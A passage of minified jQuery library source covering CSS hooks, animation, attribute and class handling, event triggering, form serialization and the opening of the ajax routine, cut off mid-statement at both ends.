a="width"===t?1:0,s=0,u=0;if(n===(r?"border":"content"))return 0;for(;a<4;a+=2)"margin"===n&&(u+=w.css(e,n+oe[a],!0,i)),r?("content"===n&&(u-=w.css(e,"padding"+oe[a],!0,i)),"margin"!==n&&(u-=w.css(e,"border"+oe[a]+"Width",!0,i))):(u+=w.css(e,"padding"+oe[a],!0,i),"padding"!==n?u+=w.css(e,"border"+oe[a]+"Width",!0,i):s+=w.css(e,"border"+oe[a]+"Width",!0,i));return!r&&o>=0&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-s-.5))),u}function et(e,t,n){var r=$e(e),i=Fe(e,t,r),o="border-box"===w.css(e,"boxSizing",!1,r),a=o;if(We.test(i)){if(!n)return i;i="auto"}return a=a&&(h.boxSizingReliable()||i===e.style[t]),("auto"===i||!parseFloat(i)&&"inline"===w.css(e,"display",!1,r))&&(i=e["offset"+t[0].toUpperCase()+t.slice(1)],a=!0),(i=parseFloat(i)||0)+Ze(e,t,n||(o?"border":"content"),a,r,i)+"px"}w.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Fe(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=G(t),u=Xe.test(t),l=e.style;if(u||(t=Je(s)),a=w.cssHooks[t]||w.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"==(o=typeof n)&&(i=ie.exec(n))&&i[1]&&(n=ue(e,t,i),o="number"),null!=n&&n===n&&("number"===o&&(n+=i&&i[3]||(w.cssNumber[s]?"":"px")),h.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=G(t);return Xe.test(t)||(t=Je(s)),(a=w.cssHooks[t]||w.cssHooks[s])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=Fe(e,t,r)),"normal"===i&&t in Ve&&(i=Ve[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),w.each(["height","width"],function(e,t){w.cssHooks[t]={get:function(e,n,r){if(n)return!ze.test(w.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?et(e,t,r):se(e,Ue,function(){return et(e,t,r)})},set:function(e,n,r){var i,o=$e(e),a="border-box"===w.css(e,"boxSizing",!1,o),s=r&&Ze(e,t,r,a,o);return a&&h.scrollboxSize()===o.position&&(s-=Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-parseFloat(o[t])-Ze(e,t,"border",!1,o)-.5)),s&&(i=ie.exec(n))&&"px"!==(i[3]||"px")&&(e.style[t]=n,n=w.css(e,t)),Ke(e,n,s)}}}),w.cssHooks.marginLeft=_e(h.reliableMarginLeft,function(e,t){if(t)return(parseFloat(Fe(e,"marginLeft"))||e.getBoundingClientRect().left-se(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+"px"}),w.each({margin:"",padding:"",border:"Width"},function(e,t){w.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];r<4;r++)i[e+oe[r]+t]=o[r]||o[r-2]||o[0];return i}},"margin"!==e&&(w.cssHooks[e+t].set=Ke)}),w.fn.extend({css:function(e,t){return z(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=$e(e),i=t.length;a<i;a++)o[t[a]]=w.css(e,t[a],!1,r);return o}return void 0!==n?w.style(e,t,n):w.css(e,t)},e,t,arguments.length>1)}});function tt(e,t,n,r,i){return new tt.prototype.init(e,t,n,r,i)}w.Tween=tt,tt.prototype={constructor:tt,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||w.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(w.cssNumber[n]?"":"px")},cur:function(){var e=tt.propHooks[this.prop];return e&&e.get?e.get(this):tt.propHooks._default.get(this)},run:function(e){var t,n=tt.propHooks[this.prop];return this.options.duration?this.pos=t=w.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):tt.propHooks._default.set(this),this}},tt.prototype.init.prototype=tt.prototype,tt.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=w.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){w.fx.step[e.prop]?w.fx.step[e.prop](e):1!==e.elem.nodeType||null==e.elem.style[w.cssProps[e.prop]]&&!w.cssHooks[e.prop]?e.elem[e.prop]=e.now:w.style(e.elem,e.prop,e.now+e.unit)}}},tt.propHooks.scrollTop=tt.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},w.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},w.fx=tt.prototype.init,w.fx.step={};var nt,rt,it=/^(?:toggle|show|hide)$/,ot=/queueHooks$/;function at(){rt&&(!1===r.hidden&&e.requestAnimationFrame?e.requestAnimationFrame(at):e.setTimeout(at,w.fx.interval),w.fx.tick())}function st(){return e.setTimeout(function(){nt=void 0}),nt=Date.now()}function ut(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=oe[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function lt(e,t,n){for(var r,i=(pt.tweeners[t]||[]).concat(pt.tweeners["*"]),o=0,a=i.length;o<a;o++)if(r=i[o].call(n,t,e))return r}function ct(e,t,n){var r,i,o,a,s,u,l,c,f="width"in t||"height"in t,p=this,d={},h=e.style,g=e.nodeType&&ae(e),y=J.get(e,"fxshow");n.queue||(null==(a=w._queueHooks(e,"fx")).unqueued&&(a.unqueued=0,s=a.empty.fire,a.empty.fire=function(){a.unqueued||s()}),a.unqueued++,p.always(function(){p.always(function(){a.unqueued--,w.queue(e,"fx").length||a.empty.fire()})}));for(r in t)if(i=t[r],it.test(i)){if(delete t[r],o=o||"toggle"===i,i===(g?"hide":"show")){if("show"!==i||!y||void 0===y[r])continue;g=!0}d[r]=y&&y[r]||w.style(e,r)}if((u=!w.isEmptyObject(t))||!w.isEmptyObject(d)){f&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(l=y&&y.display)&&(l=J.get(e,"display")),"none"===(c=w.css(e,"display"))&&(l?c=l:(fe([e],!0),l=e.style.display||l,c=w.css(e,"display"),fe([e]))),("inline"===c||"inline-block"===c&&null!=l)&&"none"===w.css(e,"float")&&(u||(p.done(function(){h.display=l}),null==l&&(c=h.display,l="none"===c?"":c)),h.display="inline-block")),n.overflow&&(h.overflow="hidden",p.always(function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]})),u=!1;for(r in d)u||(y?"hidden"in y&&(g=y.hidden):y=J.access(e,"fxshow",{display:l}),o&&(y.hidden=!g),g&&fe([e],!0),p.done(function(){g||fe([e]),J.remove(e,"fxshow");for(r in d)w.style(e,r,d[r])})),u=lt(g?y[r]:0,r,p),r in y||(y[r]=u.start,g&&(u.end=u.start,u.start=0))}}function ft(e,t){var n,r,i,o,a;for(n in e)if(r=G(n),i=t[r],o=e[n],Array.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),(a=w.cssHooks[r])&&"expand"in a){o=a.expand(o),delete e[r];for(n in o)n in e||(e[n]=o[n],t[n]=i)}else t[r]=i}function pt(e,t,n){var r,i,o=0,a=pt.prefilters.length,s=w.Deferred().always(function(){delete u.elem}),u=function(){if(i)return!1;for(var t=nt||st(),n=Math.max(0,l.startTime+l.duration-t),r=1-(n/l.duration||0),o=0,a=l.tweens.length;o<a;o++)l.tweens[o].run(r);return s.notifyWith(e,[l,r,n]),r<1&&a?n:(a||s.notifyWith(e,[l,1,0]),s.resolveWith(e,[l]),!1)},l=s.promise({elem:e,props:w.extend({},t),opts:w.extend(!0,{specialEasing:{},easing:w.easing._default},n),originalProperties:t,originalOptions:n,startTime:nt||st(),duration:n.duration,tweens:[],createTween:function(t,n){var r=w.Tween(e,l.opts,t,n,l.opts.specialEasing[t]||l.opts.easing);return l.tweens.push(r),r},stop:function(t){var n=0,r=t?l.tweens.length:0;if(i)return this;for(i=!0;n<r;n++)l.tweens[n].run(1);return t?(s.notifyWith(e,[l,1,0]),s.resolveWith(e,[l,t])):s.rejectWith(e,[l,t]),this}}),c=l.props;for(ft(c,l.opts.specialEasing);o<a;o++)if(r=pt.prefilters[o].call(l,e,c,l.opts))return g(r.stop)&&(w._queueHooks(l.elem,l.opts.queue).stop=r.stop.bind(r)),r;return w.map(c,lt,l),g(l.opts.start)&&l.opts.start.call(e,l),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always),w.fx.timer(w.extend(u,{elem:e,anim:l,queue:l.opts.queue})),l}w.Animation=w.extend(pt,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return ue(n.elem,e,ie.exec(t),n),n}]},tweener:function(e,t){g(e)?(t=e,e=["*"]):e=e.match(M);for(var n,r=0,i=e.length;r<i;r++)n=e[r],pt.tweeners[n]=pt.tweeners[n]||[],pt.tweeners[n].unshift(t)},prefilters:[ct],prefilter:function(e,t){t?pt.prefilters.unshift(e):pt.prefilters.push(e)}}),w.speed=function(e,t,n){var r=e&&"object"==typeof e?w.extend({},e):{complete:n||!n&&t||g(e)&&e,duration:e,easing:n&&t||t&&!g(t)&&t};return w.fx.off?r.duration=0:"number"!=typeof r.duration&&(r.duration in w.fx.speeds?r.duration=w.fx.speeds[r.duration]:r.duration=w.fx.speeds._default),null!=r.queue&&!0!==r.queue||(r.queue="fx"),r.old=r.complete,r.complete=function(){g(r.old)&&r.old.call(this),r.queue&&w.dequeue(this,r.queue)},r},w.fn.extend({fadeTo:function(e,t,n,r){return this.filter(ae).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=w.isEmptyObject(e),o=w.speed(t,n,r),a=function(){var t=pt(this,w.extend({},e),o);(i||J.get(this,"finish"))&&t.stop(!0)};return a.finish=a,i||!1===o.queue?this.each(a):this.queue(o.queue,a)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop,t(n)};return"string"!=typeof e&&(n=t,t=e,e=void 0),t&&!1!==e&&this.queue(e||"fx",[]),this.each(function(){var t=!0,i=null!=e&&e+"queueHooks",o=w.timers,a=J.get(this);if(i)a[i]&&a[i].stop&&r(a[i]);else for(i in a)a[i]&&a[i].stop&&ot.test(i)&&r(a[i]);for(i=o.length;i--;)o[i].elem!==this||null!=e&&o[i].queue!==e||(o[i].anim.stop(n),t=!1,o.splice(i,1));!t&&n||w.dequeue(this,e)})},finish:function(e){return!1!==e&&(e=e||"fx"),this.each(function(){var t,n=J.get(this),r=n[e+"queue"],i=n[e+"queueHooks"],o=w.timers,a=r?r.length:0;for(n.finish=!0,w.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;)o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1));for(t=0;t<a;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}}),w.each(["toggle","show","hide"],function(e,t){var n=w.fn[t];w.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(ut(t,!0),e,r,i)}}),w.each({slideDown:ut("show"),slideUp:ut("hide"),slideToggle:ut("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){w.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),w.timers=[],w.fx.tick=function(){var e,t=0,n=w.timers;for(nt=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||w.fx.stop(),nt=void 0},w.fx.timer=function(e){w.timers.push(e),w.fx.start()},w.fx.interval=13,w.fx.start=function(){rt||(rt=!0,at())},w.fx.stop=function(){rt=null},w.fx.speeds={slow:600,fast:200,_default:400},w.fn.delay=function(t,n){return t=w.fx?w.fx.speeds[t]||t:t,n=n||"fx",this.queue(n,function(n,r){var i=e.setTimeout(n,t);r.stop=function(){e.clearTimeout(i)}})},function(){var e=r.createElement("input"),t=r.createElement("select").appendChild(r.createElement("option"));e.type="checkbox",h.checkOn=""!==e.value,h.optSelected=t.selected,(e=r.createElement("input")).value="t",e.type="radio",h.radioValue="t"===e.value}();var dt,ht=w.expr.attrHandle;w.fn.extend({attr:function(e,t){return z(this,w.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){w.removeAttr(this,e)})}}),w.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?w.prop(e,t,n):(1===o&&w.isXMLDoc(e)||(i=w.attrHooks[t.toLowerCase()]||(w.expr.match.bool.test(t)?dt:void 0)),void 0!==n?null===n?void w.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=w.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!h.radioValue&&"radio"===t&&N(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(M);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),dt={set:function(e,t,n){return!1===t?w.removeAttr(e,n):e.setAttribute(n,n),n}},w.each(w.expr.match.bool.source.match(/\w+/g),function(e,t){var n=ht[t]||w.find.attr;ht[t]=function(e,t,r){var i,o,a=t.toLowerCase();return r||(o=ht[a],ht[a]=i,i=null!=n(e,t,r)?a:null,ht[a]=o),i}});var gt=/^(?:input|select|textarea|button)$/i,yt=/^(?:a|area)$/i;w.fn.extend({prop:function(e,t){return z(this,w.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each(function(){delete this[w.propFix[e]||e]})}}),w.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&w.isXMLDoc(e)||(t=w.propFix[t]||t,i=w.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=w.find.attr(e,"tabindex");return t?parseInt(t,10):gt.test(e.nodeName)||yt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),h.optSelected||(w.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),w.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){w.propFix[this.toLowerCase()]=this});function vt(e){return(e.match(M)||[]).join(" ")}function mt(e){return e.getAttribute&&e.getAttribute("class")||""}function xt(e){return Array.isArray(e)?e:"string"==typeof e?e.match(M)||[]:[]}w.fn.extend({addClass:function(e){var t,n,r,i,o,a,s,u=0;if(g(e))return this.each(function(t){w(this).addClass(e.call(this,t,mt(this)))});if((t=xt(e)).length)while(n=this[u++])if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=t[a++])r.indexOf(" "+o+" ")<0&&(r+=o+" ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},removeClass:function(e){var t,n,r,i,o,a,s,u=0;if(g(e))return this.each(function(t){w(this).removeClass(e.call(this,t,mt(this)))});if(!arguments.length)return this.attr("class","");if((t=xt(e)).length)while(n=this[u++])if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=t[a++])while(r.indexOf(" "+o+" ")>-1)r=r.replace(" "+o+" "," ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},toggleClass:function(e,t){var n=typeof e,r="string"===n||Array.isArray(e);return"boolean"==typeof t&&r?t?this.addClass(e):this.removeClass(e):g(e)?this.each(function(n){w(this).toggleClass(e.call(this,n,mt(this),t),t)}):this.each(function(){var t,i,o,a;if(r){i=0,o=w(this),a=xt(e);while(t=a[i++])o.hasClass(t)?o.removeClass(t):o.addClass(t)}else void 0!==e&&"boolean"!==n||((t=mt(this))&&J.set(this,"__className__",t),this.setAttribute&&this.setAttribute("class",t||!1===e?"":J.get(this,"__className__")||""))})},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&(" "+vt(mt(n))+" ").indexOf(t)>-1)return!0;return!1}});var bt=/\r/g;w.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=g(e),this.each(function(n){var i;1===this.nodeType&&(null==(i=r?e.call(this,n,w(this).val()):e)?i="":"number"==typeof i?i+="":Array.isArray(i)&&(i=w.map(i,function(e){return null==e?"":e+""})),(t=w.valHooks[this.type]||w.valHooks[this.nodeName.toLowerCase()])&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return(t=w.valHooks[i.type]||w.valHooks[i.nodeName.toLowerCase()])&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:"string"==typeof(n=i.value)?n.replace(bt,""):null==n?"":n}}}),w.extend({valHooks:{option:{get:function(e){var t=w.find.attr(e,"value");return null!=t?t:vt(w.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,s=a?null:[],u=a?o+1:i.length;for(r=o<0?u:a?o:0;r<u;r++)if(((n=i[r]).selected||r===o)&&!n.disabled&&(!n.parentNode.disabled||!N(n.parentNode,"optgroup"))){if(t=w(n).val(),a)return t;s.push(t)}return s},set:function(e,t){var n,r,i=e.options,o=w.makeArray(t),a=i.length;while(a--)((r=i[a]).selected=w.inArray(w.valHooks.option.get(r),o)>-1)&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),w.each(["radio","checkbox"],function(){w.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=w.inArray(w(e).val(),t)>-1}},h.checkOn||(w.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})}),h.focusin="onfocusin"in e;var wt=/^(?:focusinfocus|focusoutblur)$/,Tt=function(e){e.stopPropagation()};w.extend(w.event,{trigger:function(t,n,i,o){var a,s,u,l,c,p,d,h,v=[i||r],m=f.call(t,"type")?t.type:t,x=f.call(t,"namespace")?t.namespace.split("."):[];if(s=h=u=i=i||r,3!==i.nodeType&&8!==i.nodeType&&!wt.test(m+w.event.triggered)&&(m.indexOf(".")>-1&&(m=(x=m.split(".")).shift(),x.sort()),c=m.indexOf(":")<0&&"on"+m,t=t[w.expando]?t:new w.Event(m,"object"==typeof t&&t),t.isTrigger=o?2:3,t.namespace=x.join("."),t.rnamespace=t.namespace?new RegExp("(^|\\.)"+x.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=void 0,t.target||(t.target=i),n=null==n?[t]:w.makeArray(n,[t]),d=w.event.special[m]||{},o||!d.trigger||!1!==d.trigger.apply(i,n))){if(!o&&!d.noBubble&&!y(i)){for(l=d.delegateType||m,wt.test(l+m)||(s=s.parentNode);s;s=s.parentNode)v.push(s),u=s;u===(i.ownerDocument||r)&&v.push(u.defaultView||u.parentWindow||e)}a=0;while((s=v[a++])&&!t.isPropagationStopped())h=s,t.type=a>1?l:d.bindType||m,(p=(J.get(s,"events")||{})[t.type]&&J.get(s,"handle"))&&p.apply(s,n),(p=c&&s[c])&&p.apply&&Y(s)&&(t.result=p.apply(s,n),!1===t.result&&t.preventDefault());return t.type=m,o||t.isDefaultPrevented()||d._default&&!1!==d._default.apply(v.pop(),n)||!Y(i)||c&&g(i[m])&&!y(i)&&((u=i[c])&&(i[c]=null),w.event.triggered=m,t.isPropagationStopped()&&h.addEventListener(m,Tt),i[m](),t.isPropagationStopped()&&h.removeEventListener(m,Tt),w.event.triggered=void 0,u&&(i[c]=u)),t.result}},simulate:function(e,t,n){var r=w.extend(new w.Event,n,{type:e,isSimulated:!0});w.event.trigger(r,null,t)}}),w.fn.extend({trigger:function(e,t){return this.each(function(){w.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return w.event.trigger(e,t,n,!0)}}),h.focusin||w.each({focus:"focusin",blur:"focusout"},function(e,t){var n=function(e){w.event.simulate(t,e.target,w.event.fix(e))};w.event.special[t]={setup:function(){var r=this.ownerDocument||this,i=J.access(r,t);i||r.addEventListener(e,n,!0),J.access(r,t,(i||0)+1)},teardown:function(){var r=this.ownerDocument||this,i=J.access(r,t)-1;i?J.access(r,t,i):(r.removeEventListener(e,n,!0),J.remove(r,t))}}});var Ct=e.location,Et=Date.now(),kt=/\?/;w.parseXML=function(t){var n;if(!t||"string"!=typeof t)return null;try{n=(new e.DOMParser).parseFromString(t,"text/xml")}catch(e){n=void 0}return n&&!n.getElementsByTagName("parsererror").length||w.error("Invalid XML: "+t),n};var St=/\[\]$/,Dt=/\r?\n/g,Nt=/^(?:submit|button|image|reset|file)$/i,At=/^(?:input|select|textarea|keygen)/i;function jt(e,t,n,r){var i;if(Array.isArray(t))w.each(t,function(t,i){n||St.test(e)?r(e,i):jt(e+"["+("object"==typeof i&&null!=i?t:"")+"]",i,n,r)});else if(n||"object"!==x(t))r(e,t);else for(i in t)jt(e+"["+i+"]",t[i],n,r)}w.param=function(e,t){var n,r=[],i=function(e,t){var n=g(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(Array.isArray(e)||e.jquery&&!w.isPlainObject(e))w.each(e,function(){i(this.name,this.value)});else for(n in e)jt(n,e[n],t,i);return r.join("&")},w.fn.extend({serialize:function(){return w.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=w.prop(this,"elements");return e?w.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!w(this).is(":disabled")&&At.test(this.nodeName)&&!Nt.test(e)&&(this.checked||!pe.test(e))}).map(function(e,t){var n=w(this).val();return null==n?null:Array.isArray(n)?w.map(n,function(e){return{name:t.name,value:e.replace(Dt,"\r\n")}}):{name:t.name,value:n.replace(Dt,"\r\n")}}).get()}});var qt=/%20/g,Lt=/#.*$/,Ht=/([?&])_=[^&]*/,Ot=/^(.*?):[ \t]*([^\r\n]*)$/gm,Pt=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Mt=/^(?:GET|HEAD)$/,Rt=/^\/\//,It={},Wt={},$t="*/".concat("*"),Bt=r.createElement("a");Bt.href=Ct.href;function Ft(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var r,i=0,o=t.toLowerCase().match(M)||[];if(g(n))while(r=o[i++])"+"===r[0]?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function _t(e,t,n,r){var i={},o=e===Wt;function a(s){var u;return i[s]=!0,w.each(e[s]||[],function(e,s){var l=s(t,n,r);return"string"!=typeof l||o||i[l]?o?!(u=l):void 0:(t.dataTypes.unshift(l),a(l),!1)}),u}return a(t.dataTypes[0])||!i["*"]&&a("*")}function zt(e,t){var n,r,i=w.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&w.extend(!0,e,r),e}function Xt(e,t,n){var r,i,o,a,s=e.contents,u=e.dataTypes;while("*"===u[0])u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in s)if(s[i]&&s[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+" "+u[0]]){o=i;break}a||(a=i)}o=o||a}if(o)return o!==u[0]&&u.unshift(o),n[o]}function Ut(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if("*"===o)o=u;else if("*"!==u&&u!==o){if(!(a=l[u+" "+o]||l["* "+o]))for(i in l)if((s=i.split(" "))[1]===o&&(a=l[u+" "+s[0]]||l["* "+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+u+" to "+o}}}return{state:"success",data:t}}w.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Ct.href,type:"GET",isLocal:Pt.test(Ct.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":$t,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":w.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?zt(zt(e,w.ajaxSettings),t):zt(w.ajaxSettings,e)},ajaxPrefilter:Ft(It),ajaxTransport:Ft(Wt),ajax:function(t,n){"object"==typeof t&&(n=t,t=void 0),n=n||{};var i,o,a,s,u,l,c,f,p,d,h=w.ajaxSetup({},n),g=h.context||h,y=h.context&&(g.nodeType||g.jquery)?w(g):w.event,v=w.Deferred(),m=w.Callbacks("once memory"),x=h.statusCode||{},b={},T={},C="canceled",E={readyState:0,getResponseHeader:function(e){var t;if(c){if(!s){s={};while(t=Ot.exec(a))s[t[1].toLowerCase()]=t[2]}t=s[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return c?a:null},setRequestHeader:function(e,t){return null==c&&(e=T[e.toLowerCase()]=T[e.toLowerCase()]||e,b[e]=t),this},overrideMimeType:function(e){return null==c&&(h.mimeType=e),this},statusCode:function(e){var t;if(e)if(c)E.always(e[E.status]);else for(t in e)x[t]=[x[t],e[t]];return this},abort:function(e){var t=e||C;return i&&i.abort(t),k(0,t),this}};if(v.promise(E),h.url=((t||h.url||Ct.href)+"").replace(Rt,Ct.protocol+"//"),h.type=n.method||n.type||h.method||h.type,h.dataTypes=(h.dataType||"*").toLowerCase().match(M)||[""],null==h.crossDomain){l=r.createElement("a");try{l.href=h.url,l.href=l.href,h.crossDomain=Bt.protocol+"//"+Bt.host!=l.protocol+"//"+l.host}catch(e){h.crossDomain=!0}}if(h.data&&h.processData&&"string"!=typeof h.data&&(h.data=w.param(h.data,h.traditional)),_t(It,h,n,E),c)return E;(f=w.event&&h.global)&&0==w.active++&&w.event.trigger("ajaxStart"),h.type=h.type.toUpperCase(),h.hasContent=!Mt.test(h.type),o=h.url.replace(Lt,""),h.hasContent?h.data&&h.processData&&0===(h.contentType||"").indexOf("application/x-www-form-urlencoded")&&(h.data=h.data.replace(qt,"+")):(d=h.url.slice(o.length),h.data&&(h.processData||"string"==typeof h.data)&&(o+=(kt.test(o)?"&":"?")+h.data,delete h.data),!1===h.cache&&(o=o.replace(Ht,"$1"),d=(kt.test(o)?"&":"?")+"_="+Et+++d),h.url=o+d),h.ifModified&&(w.lastModified[o]&&E.setRequestHeader("If-Modified-Since",w.lastModified[o]),w.etag[o]&&E.setRequestHeader("If-None-Match",w.etag[o])),(h.data&&h.hasContent&&!1!==h.contentType||n.contentType)&&E.setRequestHeader("Content-Type",h.contentType),E.setRequestHeader("Accept",h.dataTypes[0]&&h.accepts[h.dataTypes[0]]?h.accepts[h.dataTypes[0]]+("*"!==h.dataTypes[0]?", "+$t+"; q=0.01":""):h.accepts["*"]);for(p in h.headers)E.setRequestHeader(p,h.headers[p]);if(h.beforeSend&&(!1===h.beforeSend.call(g,E,h)||c))return E.abort();if(C="abort",m.add(h.complete),E.done(h.success),E.fail(h.error),i=_t(Wt,h,n,E)){if(E.readyState=1,f&&y.trigger("ajaxSend",[E,h]),c)return E;h.async&&h.timeout>0&&(u=e.setTimeout(function(){E.abort("timeout")},h.timeout));try{c=!1,i.send(b,k)}catch(e){if(c)throw e;k(-1,e)}}else k(-1,"No Transport");function k(t,n,r,s){var l,p,d,b,T,C=n;c||(c=!0,u&&e.clearTimeout(u),i=void 0,a=s||"",E.readyState=t>0?4:0,l=t>=200&&t<300||304===t,r&&(b=Xt(h,E,r)),b=Ut(h,b,E,l),l?(h.ifModified&&((T=E.getResponseHeader("Last-Modified"))&&(w.lastModified[o]=T),(T=E.getResponseHeader("etag"))&&(w.etag[o]=T)),204===t||"HEAD"===h.type?C="nocontent":304===t?C="notmodified":(C=b.state,p=b.data,l=!(d=b.error))):(d=C,!t&&C||(C="error",t<0&&(t=0))),E.status=t,E.statusText=(n||C)+"",l?v.resolveWith(g,[p,C,E]):v.rejectWith(g,[E,C,d]),E.statusCode(x),x=void 0,f&&y.trigger(l?"ajaxSuccess":"ajaxError",[E,h,l?p:d]),m.fireWith(g,[E,C]),f&&(y.trigger("ajaxComplete",[E,h]),--w.active||w.event.trigger("ajaxStop")))}return 